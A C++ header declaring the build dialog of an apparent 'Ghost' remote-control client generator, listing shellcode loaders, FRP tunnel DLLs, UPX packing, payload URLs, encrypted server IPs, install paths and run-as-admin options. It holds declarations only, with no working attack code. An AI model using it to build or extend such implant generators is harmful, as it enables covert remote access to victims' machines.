111 lines
3.4 KiB
C++
111 lines
3.4 KiB
C++
#pragma once
|
||
|
||
#include "Buffer.h"
|
||
#include "LangManager.h"
|
||
|
||
// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
|
||
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
|
||
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName = nullptr);
|
||
|
||
std::string ReleaseEXE(int resID, const char* name, const char* resName = nullptr);
|
||
|
||
// ========== res 目录外部资源文件名定义 ==========
|
||
// 命名规范:<模块名>_<架构>.exe/.dll/.bin
|
||
// 架构:x86 / x64 / linux / macos
|
||
namespace ResFileName {
|
||
// Ghost 主程序
|
||
extern const char* GHOST_X86;
|
||
extern const char* GHOST_X64;
|
||
extern const char* GHOST_LINUX;
|
||
extern const char* GHOST_MACOS; // 预留
|
||
// TestRun 加载器
|
||
extern const char* TESTRUN_X86;
|
||
extern const char* TESTRUN_X64;
|
||
// ServerDll
|
||
extern const char* SERVERDLL_X86;
|
||
extern const char* SERVERDLL_X64;
|
||
// TinyRun
|
||
extern const char* TINYRUN_X86;
|
||
extern const char* TINYRUN_X64;
|
||
// SCLoader (Shellcode加载器)
|
||
extern const char* SCLOADER_X86;
|
||
extern const char* SCLOADER_X64;
|
||
extern const char* SCLOADER_X86_OLD;
|
||
extern const char* SCLOADER_X64_OLD;
|
||
// FRP 相关 (无架构区分,64位DLL)
|
||
extern const char* FRPC_DLL;
|
||
extern const char* FRPS_DLL;
|
||
// 工具
|
||
extern const char* UPX_EXE;
|
||
extern const char* RCEDIT_EXE;
|
||
}
|
||
|
||
CString BuildPayloadUrl(const char* ip, const char* name);
|
||
|
||
// CBuildDlg 对话框
|
||
|
||
class CBuildDlg : public CDialogLang
|
||
{
|
||
DECLARE_DYNAMIC(CBuildDlg)
|
||
|
||
public:
|
||
CBuildDlg(CWnd* pParent = NULL); // 标准构造函数
|
||
virtual ~CBuildDlg();
|
||
|
||
// 对话框数据
|
||
enum { IDD = IDD_DIALOG_BUILD };
|
||
CMenu m_MainMenu;
|
||
BOOL m_runasAdmin;
|
||
|
||
protected:
|
||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||
CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE);
|
||
BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||
|
||
DECLARE_MESSAGE_MAP()
|
||
public:
|
||
CString m_strIP;
|
||
CString m_strPort;
|
||
afx_msg void OnBnClickedOk();
|
||
virtual BOOL OnInitDialog();
|
||
CComboBox m_ComboExe;
|
||
|
||
afx_msg void OnCbnSelchangeComboExe();
|
||
CStatic m_OtherItem;
|
||
CComboBox m_ComboBits;
|
||
CComboBox m_ComboRunType;
|
||
CComboBox m_ComboProto;
|
||
CComboBox m_ComboEncrypt;
|
||
afx_msg void OnHelpParameters();
|
||
CComboBox m_ComboCompress;
|
||
CString m_strFindden;
|
||
afx_msg void OnHelpFindden();
|
||
CEdit m_EditGroup;
|
||
CString m_sGroupName;
|
||
CString m_strEncryptIP;
|
||
afx_msg void OnMenuEncryptIp();
|
||
afx_msg void OnClientRunasAdmin();
|
||
CComboBox m_ComboPayload;
|
||
afx_msg void OnCbnSelchangeComboCompress();
|
||
CStatic m_StaticPayload;
|
||
CSliderCtrl m_SliderClientSize;
|
||
CEdit m_EditInstallDir;
|
||
CEdit m_EditInstallName;
|
||
CString m_sInstallDir;
|
||
CString m_sInstallName;
|
||
afx_msg void OnEnChangeEditInstallDir();
|
||
afx_msg void OnEnChangeEditInstallName();
|
||
afx_msg void OnEnKillfocusEditInstallDir();
|
||
afx_msg void OnEnKillfocusEditInstallName();
|
||
afx_msg void OnRandomName();
|
||
CButton m_BtnFileServer;
|
||
CStatic m_StaticDownload;
|
||
CEdit m_EditDownloadUrl;
|
||
CString m_sDownloadUrl;
|
||
afx_msg void OnBnClickedCheckFileserver();
|
||
afx_msg void OnCbnSelchangeComboPayload();
|
||
|
||
// 选 Linux / macOS 客户端时禁用 Windows-only 选项(架构 / 加壳 / 高级 group)
|
||
void EnableWindowsOnlyControls(BOOL enable);
|
||
};
|